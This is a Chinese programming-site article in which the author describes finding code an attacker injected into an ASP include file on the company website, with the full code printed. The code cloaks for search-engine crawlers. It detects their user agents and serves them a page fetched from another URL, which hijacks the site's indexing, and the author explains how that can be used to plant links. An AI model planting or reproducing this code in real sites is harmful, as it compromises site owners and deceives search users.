当前位置:K88软件开发文章中心编程语言AspAsp01 → 文章内容

一个asp木马代码程序

减小字体 增大字体 作者:wangsdong     来源:asp编程网  发布时间:2018-12-30 8:33:29

前些天,公司网站被黑了,用浏览器打开公司网站,却没有发现有任何异常。只是百度快照中被收录的网站不是我们的首页网站,是另一个公司的。我打开首页的asp代码,并且文件的修改时间都没有改变,在奇怪了。最后我在首页的一个包含页面中发现了,被修改了。代码如下:

<
%Dim agent,Botagent = lcase(request.servervariables("http_user_agent"))Bot = ""if instr(agent, "bot") >
0 then bot = "其它蜘蛛"if instr(agent,"googlebot") then bot="google"if instr(agent, "mediapartners-google") >
0 then bot = "google adsense"if instr(agent, "baidu") >
0 then bot = "baidu"if instr(agent, "sogou") >
0 then bot = "sogou"if instr(agent, "yahoo") >
0 then bot = "yahoo!"if instr(agent, "msn") >
0 then bot = "msn"if instr(agent, "ia_archiver") >
0 then bot = "alexa"if instr(agent, "iaarchiver") >
0 then bot = "alexa"if instr(agent, "sohu") >
0 then bot = "sohu"if instr(agent, "sqworm") >
0 then bot = "aol"if instr(agent, "yodao") >
0 then bot = "yodao"if instr(agent, "iask") >
0 then bot = "iask"if instr(agent, "robozilla") >
0 then bot = "robozilla"if instr(agent, "lycos") >
0 then bot = "lycos"if instr(agent, "soso") >
0 then bot = "soso"if Bot&
""<
>
"" then response.write getHTTPPage(网址,1)response.endend ifFunction getHTTPPage(url,Bytes)On Error Resume Nextdim httpif Bytes=1 thenBytes=GB2312elseBytes=utf-8end ifset http=Server.createobject("Microsoft.XMLHTTP")Http.open GET,url,falseHttp.send()if Http.readystate<
>
4 thenexit functionend ifgetHTTPPage=bytesToBSTR(Http.responseBody,Bytes)set http=nothingIf Err.number<
>
0 thenErr.ClearEnd IfEnd FunctionFunction BytesToBstr(body,Cset)dim objstreamset objstream = Server.CreateObject("adodb.stream")objstream.Type = 1objstream.Mode =3objstream.Openobjstream.Write bodyobjstream.Position = 0objstream.Type = 2objstream.Charset = CsetBytesToBstr = objstream.ReadTextobjstream.Closeset objstream = nothingEnd Function%>
(鼠标移到代码上去,在代码的顶部会出现四个图标,第一个是查看源代码,第二个是复制代码,第三个是打印代码,第四个是帮助)

看一下代码,发现没有什么特殊的功能,原理就是:当客户访问的时候,进入正常的页面;当蜘蛛访问的时候,它利用采集的原理得到指定网址上的html功能,显示另外的内容,这样蛛蛛收录的就是那个页面上的内容了,剩下你想让蛛蛛收录什么东西,就直接在那个页面上加连接就可以了。

一个asp木马代码程序